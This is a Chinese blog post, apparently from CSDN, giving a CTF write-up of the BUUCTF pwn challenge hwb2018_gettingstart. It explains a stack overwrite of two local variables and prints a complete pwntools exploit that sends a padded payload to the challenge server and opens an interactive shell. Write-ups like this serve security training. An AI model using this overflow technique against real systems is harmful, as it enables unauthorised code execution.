BUUCTF pwn hwb2018_gettingstart

最新推荐文章于 2024-03-27 16:20:09 发布

求是量子

最新推荐文章于 2024-03-27 16:20:09 发布

阅读量739

点赞数 2

CC 4.0 BY-SA版权

分类专栏： pwn安全文章标签： python 安全 shell pwn

本文链接：https://blog.csdn.net/stareforever/article/details/113529460

pwn安全专栏收录该内容

13 篇文章

订阅专栏

本文介绍如何使用IDA查看程序流程，并通过设置v7和v8的特定值来获得shell。通过构造payload并发送到远程服务器，演示了从逆向分析到漏洞利用的全过程。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

查看程序保护
在这里插入图片描述
IDA打开查看程序流

读入buf的内容会覆盖v7和v8的值，那么控制v7=0x7FFFFFFFFFFFFFFF和v8=0.1，即可获得shell

这里v8的二进制值可以直接在程序里找到
在这里插入图片描述
或者在网站http://www.binaryconvert.com/convert_double.html 输入0.1也可获得

完整ex

from pwn import *

context(log_level='debug')

#io=process("./task_gettingStart_ktQeERc")
io=remote("node3.buuoj.cn",29872)

io.recv()

v7=0x7FFFFFFFFFFFFFFF
v8=0x3FB999999999999A

payload=b'A'*0x18+p64(v7)+p64(v8)

io.send(payload)

io.recv()

io.interactive()